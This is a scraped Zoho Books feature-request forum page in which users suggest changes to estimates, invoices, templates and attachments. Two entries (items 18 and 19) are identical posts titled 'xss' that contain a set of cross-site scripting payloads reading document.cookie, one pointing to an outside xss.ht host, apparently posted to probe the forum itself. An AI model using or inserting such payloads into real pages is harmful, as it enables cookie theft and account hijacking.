Zoho Books

Welcome to our feedback forum!

If you have an idea for a new feature that you want to see in Zoho Books, then you've reached the right place.

Feel free to post your ideas, comments, or suggestions in this space.

While we cannot promise a timeframe for everything posted here, we'll definitely consider all your valuable suggestions and work on them based on their feasibility.

Before posting, please ensure the following:
  1. Search if your idea for a feature is already listed below. If yes, then vote for it by clicking the Vote button.
  2. If it’s a new idea, kindly post a detailed description of your suggestion or idea.

If you have any questions or would like to share your feedback on our status updates, please drop an email to support@zohobooks.com


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  1. The adjustments field on estimates should include multiplication

    I want to use Zoho for my rentals company but cannot find a way to enter in a number of billable weeks. The adjustment field would be perfect if it allowed multiplication.

    1 vote
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  2. Estimate Reference on Sales Order and Invoice

    When an estimate is converted the Estimate Reference is not included. The quote number is shown, I find myself having to enter a sales order to check what this is related to. If we have similar projects for the same customer I have to look up the estimate.

    I would like for the Estimate Reference to be included in brackets alongside the the Estimate number, the same for the Invoice.

    1 vote
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  3. Trash Folder for deleted Estimates/PO/Invoices etc

    Please provide a trash folder where all the deleted estimates/invoice/PO document will go and get deleted automatically after 30 days or so.

    1 vote
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  4. Make customizing templates easier with more options

    I'm a construction contractor. Arguably, the estimate (or Proposal, as I call it) is the most important part of my interaction with a potential customer. I've tried all of your standard options for customizing templates including the "Customize Template" option which I was given special access to but it's all very difficult even for a guy with a pretty strong technology background.

    This is what I'd like to be able to do:

    1) Have separate "Item & Description" blocks with a subtotal at the bottom of each. Ex: One block would describe the main job with a total and a…

    1 vote
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  5. Composite items components full descriptions should be visible on estimates/invoices

    You should be able to show all of the items within a composite item with their full descriptions, pictures, and details underneath the main composite item. The current text list with only the items name is just not a good solution.

    1 vote
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  6. quotation generation thru same account

    quotation generation thru same account required . It shall save lots of time and help to keep a record of quotes given

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  7. I would need that in the budget, when I have discounts per item, a line appears in the TOTAL section, of the total of all the discounts of t

    I would need that in the budget, when I have discounts per item, a line appears in the TOTAL section, of the total of all the discounts of the invoice,

    1 vote
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  8. Attach from cloud option while sending estimates

    While sending estimates to client - attach documents from cloud option is missing we need it as we will be sending multiple estimate on daily basis from different locations. Option of attaching from cloud makes it more easier.
    Another option is giving sub-folder option in documents section.
    Our business scenario is such that for single estimate we would need to attach 3-4 relevant files your customer care team has informed to make use of attach from documents option but that does not work for us as searching documents takes time everytime and there is possibility of errors.
    Kindly consider our…

    1 vote
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  9. 1 vote
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  10. I'd like to see a place for the contact person that is associated with the Account or Vendor

    linkage to choose the contact that belongs to the account. This will help with follow up if it's not the same sales person.

    1 vote
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  11. Add Outstanding Receivable from Customer automatically to Estimate or Sales Order Value

    Many businesses run on credit offered for regular customers. However, if user is unaware of outstanding receivable from a customer, then he would miss adding this amount to his estimate/sales order. An automatic workflow would be most helpful if the amount and details of O/s receivables is added to the Estimate amount automatically.

    If automation is not possible, then atleast manual process should be possible !!

    When creating an estimate or Sales Order for an existing customer, the outstanding receivable should be seen on screen so the user can add the amount in the "Adjustment" column.

    The details of the…

    1 vote
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  12. 1 vote
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  13. Purchaser Order field for customer to populate when approving estimates

    When a customer reviews an estimate within their portal and they wish to accept they should be prompted to provide a Purchase Order within a specific field as this is the authority number given for the purchase by the customers finance team. This PO should then be pre-populated into both the Sales Order and the Invoice

    1 vote
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  14. is there any way we can do Delivery order before do invoice ?

    Singapore construction line we will send the quotation once the quotation approved we will send the goods for installation for that time we need Delivery order the site supervisor will sign the document then only we can create the invoice is there any way we can do the delivery order before invoice

    1 vote
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  15. Clone Estimate from another invoice

    Hi,

    There are cases, where we need to maintain rates exclusive for customers and are repetitive
    There could be an option, where I can clone an old invoice in to a new estimate, so that the rates of the items will be carried without much effort.

    Thanks,
    Sreeni

    1 vote
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  16. Validation cotation in books

    Hello, An interesting feature would be that the customer to whom we send a quote can validate it online at (a link zoho books) Thank you. Fr

    1 vote
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  17. Follow-Up email for Estimates

    Provide a way to send Follow-up E-mail messages for Sales Estimates already sent out to clients.

    Currently, only Invoices can be sent a follow-up e-mail.

    1 vote
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  18. xss

    TEST<br><br><center><font color="red">bughunt-borneo.org<br><br><img src=x onerror=alert(document.cookie)><br><br><img src=x onerror=prompt(//zheev.xss.ht)>
    <svg onload=write(document.cookie)>
    "><script>prompt(document.cookie)</script>
    <noscript><p title= "</noscript><img src=x onerror=alert(document.cookie)>">
    "><u>XSS Vulnerability</u><marquee+onstart='alert(document.cookie)'>XSS

    1 vote
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  19. xss

    TEST<br><br><center><font color="red">bughunt-borneo.org<br><br><img src=x onerror=alert(document.cookie)><br><br><img src=x onerror=prompt(//zheev.xss.ht)>
    <svg onload=write(document.cookie)>
    "><script>prompt(document.cookie)</script>
    <noscript><p title= "</noscript><img src=x onerror=alert(document.cookie)>">
    "><u>XSS Vulnerability</u><marquee+onstart='alert(document.cookie)'>XSS

    1 vote
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  20. Convert part of estimate to invoice

    Have an option to convert selected items on the estimate to an invoice instead of the whole estimate - so that the total cost of project can be invoiced in stages as they are completed.
    The remaining items would stay on the estimate to be invoiced another time.

    1 vote
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